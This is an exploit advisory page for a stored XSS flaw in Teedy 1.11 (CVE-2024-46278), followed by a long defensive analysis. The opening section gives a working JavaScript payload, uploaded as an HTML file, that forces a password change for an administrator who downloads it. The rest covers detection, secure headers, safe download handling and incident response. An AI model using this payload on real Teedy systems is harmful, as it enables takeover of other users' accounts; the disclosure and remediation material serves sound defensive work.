Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)

Exploit Author: Ayato Shitomi @ Fore-Z co.ltd Analysis Author: www.bubbleslearn.ir Category: WebApps Language: JavaScript Published Date: 2025-04-16
# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)
# Exploit Author: Ayato Shitomi @ Fore-Z co.ltd
# Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA
# Vendor Homepage: https://teedy.io/
# Software Link: https://github.com/Tomblib0/Teedy
# Version: 1.11
# Tested on: Linux
# CVE : CVE-2024-46278

There is a vulnerability that causes XSS when downloading files.
XSS vulnerability could allow a Teedy administrator to rob an account with a few clicks.


Login as an attacker’s account.
Upload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need.

```
<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
```

Login with another account. eg. admin
Click on the file uploaded by the attacker and select Download this file.


Teedy 1.11 — Account Takeover via Stored Cross‑Site Scripting (XSS) (CVE-2024-46278)

This article explains the stored cross‑site scripting (XSS) vulnerability affecting Teedy 1.11 (CVE-2024-46278), why it leads to account takeover risk, how to detect and mitigate it, and secure development and configuration practices to prevent similar issues. The guidance is written for system owners, developers, and incident responders and focuses on safe, actionable remediation rather than step‑by‑step exploitation.

Executive summary

  • Vulnerability: Stored XSS in Teedy 1.11 that can be triggered when a user (for example, an administrator) downloads or views a file previously uploaded by an attacker.
  • Impact: Browser‑executed JavaScript under the victim’s session context can lead to session theft, forced password changes, or other account takeover actions available to the victim’s privileges.
  • Immediate mitigations: Upgrade to a patched Teedy release provided by the vendor; apply server‑side hardening (safe headers, cookie flags); restrict ability to upload HTML/active content; configure WAF rules.

High‑level technical root cause

Stored XSS occurs when an application persists user input (for example, file contents or metadata) that later is rendered in another user’s browser without adequate output encoding or content restrictions. In this case, uploaded HTML or specially crafted file names/headers were delivered in a context that permitted the injected script to execute in the victim’s origin, and the browser used the victim’s cookies and privileges when executing the script — enabling account takeover actions.

Why this leads to account takeover

  • Script runs in the victim’s browser context and inherits same‑origin privileges (cookies, authentication tokens) for the Teedy application origin.
  • Malicious JavaScript can interact with authenticated API endpoints (for example, change password, change email, create tokens) as the victim, if such endpoints accept requests and rely only on cookies for auth.
  • Absence of HttpOnly flags, SameSite restrictions, content security policies, or server‑side input validation increases the attack surface.

Detection and indicators of compromise (IoCs)

Monitor for the following signs in web and application logs and in user reports:

  • Unusual POST requests to user account endpoints (password change, email change) originating from the same origin but without explicit user activity.
  • HTTP access logs requesting uploaded files followed by suspicious client behavior (requests to API endpoints immediately after file download).
  • Reports from admins of unexpected account changes or sessions terminated and reissued without user intent.
  • Presence of suspicious HTML files or files with embedded script tags in user uploads.

Immediate remediation steps

  • Apply vendor patch: upgrade to the Teedy release that addresses CVE‑2024‑46278 (consult vendor advisory and release notes). If a vendor patch is not immediately available, apply the mitigations below.
  • Restrict uploads: temporarily block uploading of HTML, SVG, or other active content file types from untrusted users.
  • Harden cookies: set HttpOnly; set SameSite=strict or Lax as appropriate; use secure flag for HTTPS.
  • Set response headers to reduce script execution risk (CSP, X‑Content‑Type‑Options, etc.).
  • Perform a search for uploaded files that contain "<script" or other suspicious markers and remove or quarantine them for inspection.

Server‑side mitigations and secure defaults

The following server‑side controls reduce the risk of stored XSS and limit what an attacker can do if a script executes:

  • Content‑Security‑Policy (CSP): define a restrictive CSP that disallows inline scripts and limits allowed script sources. Consider use of script‑nonce or hashes if inline scripts are necessary.
  • Set Content‑Disposition for downloads to force attachment and avoid browser rendering of HTML: serve as attachment; use an inert MIME type (e.g., application/octet‑stream) for user‑supplied files.
  • Set X‑Content‑Type‑Options: nosniff to prevent MIME sniffing that may treat a file as executable script.
  • HttpOnly and SameSite cookie flags to prevent simple client‑side cookie theft via document.cookie where possible.
  • Sanitize filenames and metadata. Remove or neutralize characters such as angle brackets and control characters.
  • Validate and sanitize file contents on upload — blacklisting only is brittle; prefer whitelisting of allowed file types where feasible.
  • Escape all user content on output (HTML encode), especially when rendering file names or metadata into HTML views.

Recommended HTTP response headers

// Example headers (conceptual)
Content-Security-Policy: default-src 'none'; script-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=()

Explanation: These headers collectively reduce the risk that an attacker’s payload will execute or escalate. CSP restricts where scripts can be loaded from and disallows inline scripts when configured correctly. X-Content-Type-Options prevents MIME sniffing. X-Frame-Options prevents clickjacking. Tailor CSP to your application needs; overly broad policies will weaken protection.

Safe file download handling

When serving user‑uploaded files, do not let the browser interpret HTML or SVG as page content under your origin. Instead, instruct the browser to download the file as an attachment with a safe content type and sanitized filename.

// Node.js / Express example: force download with safe headers
const express = require('express');
const path = require('path');
const sanitize = require('sanitize-filename'); // use a safe filename sanitizer
const app = express();

app.get('/download/:id', (req, res) => {
  // Lookup file info by id from DB
  const file = findFileById(req.params.id);
  if (!file) return res.status(404).end();

  const safeName = sanitize(file.originalName) || 'download.bin';
  res.setHeader('Content-Disposition', `attachment; filename="${safeName}"`);
  res.setHeader('Content-Type', 'application/octet-stream');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  // stream file content
  res.sendFile(path.resolve(file.storagePath));
});

Explanation: This example forces the browser to download a file rather than render it inline. The sanitize-filename step removes dangerous characters from the original filename. Using application/octet-stream and nosniff reduces the chance of browser interpreting the file as a page with executable content.

Sanitizing user HTML and metadata

If your application allows HTML in any user field, sanitize it server‑side before persisting or render it in a safe, escaped way. Prefer removing all tags or allowing a strict whitelist (e.g., limited formatting tags) with an HTML sanitizer library.

// Node.js example using "sanitize-html" to clean HTML input
const sanitizeHtml = require('sanitize-html');

function cleanUserHtml(inputHtml) {
  return sanitizeHtml(inputHtml, {
    allowedTags: [ 'b', 'i', 'em', 'strong', 'a', 'p' ],
    allowedAttributes: {
      a: [ 'href', 'rel', 'target' ]
    },
    transformTags: {
      'a': function(tagName, attribs) {
        // Force safe link attributes
        return {
          tagName: 'a',
          attribs: {
            href: attribs.href,
            rel: 'noopener noreferrer',
            target: '_blank'
          }
        };
      }
    }
  });
}

Explanation: This code uses a sanitizer to remove disallowed HTML tags and attributes. It also ensures links include rel="noopener noreferrer" and target="_blank" to reduce potential risks. Adjust the whitelist to your application needs; prefer a minimal set.

Cookie hardening examples

// Express session cookie flags (conceptual)
app.use(session({
  name: 'sessionId',
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,       // only over HTTPS
    sameSite: 'lax'     // or 'strict' where UX permits
  }
}));

Explanation: HttpOnly prevents JavaScript from accessing cookies via document.cookie. Secure ensures cookies are only sent over HTTPS. SameSite reduces cross‑site request forgery (CSRF) risk and can limit some cross‑site script abuse scenarios.

Application architecture and design recommendations

  • Segregate static file serving from your application origin. If possible, serve uploads from a separate static host or domain (different origin) to prevent stored XSS from executing under the application’s authentication domain.
  • Use a signed URL or one‑time download token mechanism for protected attachments to avoid exposing them via persistent same‑origin URLs.
  • Implement server‑side authorization checks strictly — do not rely on client‑side controls for sensitive operations.
  • Add rate limiting and anomaly detection for unusual account changes.

Testing and verification

  • Perform a code review for places where user input is injected into HTML templates, file‑name rendering, and download flows.
  • Use automated scanners and manual penetration testing focused on stored XSS in upload/download paths and metadata fields.
  • Validate that corrective headers are present using tools like curl, browser devtools, or security scanners.

Example curl checks for headers (non‑exploit)

# Check response headers for a sample download URL
curl -I https://your-teedy.example.com/download/12345

Explanation: Running a HEAD request with curl lets you confirm the presence of defensive headers such as Content-Disposition, X-Content-Type-Options, and CSP directives. This is useful during remediation and verification.

Incident response guidance

  • If you believe the vulnerability has been exploited, rotate compromised credentials and session tokens for affected accounts.
  • Invalidate sessions (server‑side) and require multi‑factor reauthentication for privileged users.
  • Search for suspicious uploaded files and remove or quarantine them after forensic capture.
  • Collect web server logs and browser request traces for evidence of the attack path, then notify affected users and follow applicable disclosure and legal requirements.

Vendor coordination and patching

Follow the vendor advisory and upgrade guidance from Teedy. Ensure that changelogs or security advisories from the vendor are reviewed for the exact fix and recommended configuration changes. If a vendor patch is available, test it in staging and deploy to production as soon as possible.

Summary checklist

ActionPriority
Upgrade Teedy to vendor‑provided patched releaseHigh
Temporarily disallow HTML/SVG uploadsHigh
Force downloads with Content‑Disposition and nosniffHigh
Set HttpOnly, Secure, SameSite on cookiesHigh
Deploy restrictive CSP and other security headersMedium
Sanitize/whitelist file names and metadataMedium
Scan for suspicious files and review logsMedium

Further reading and resources

  • OWASP: Cross Site Scripting (XSS) — prevention and testing guidance.
  • OWASP: Content Security Policy Cheat Sheet.
  • Security headers references (CSP, X-Content-Type-Options).
  • Guides on secure file upload and download handling.

The approach above aims to close the specific class of risk exploited by CVE-2024-46278 while improving overall application hygiene to reduce future XSS and account takeover risks. Apply changes in a staged manner, test thoroughly, and combine server hardening with secure development practices.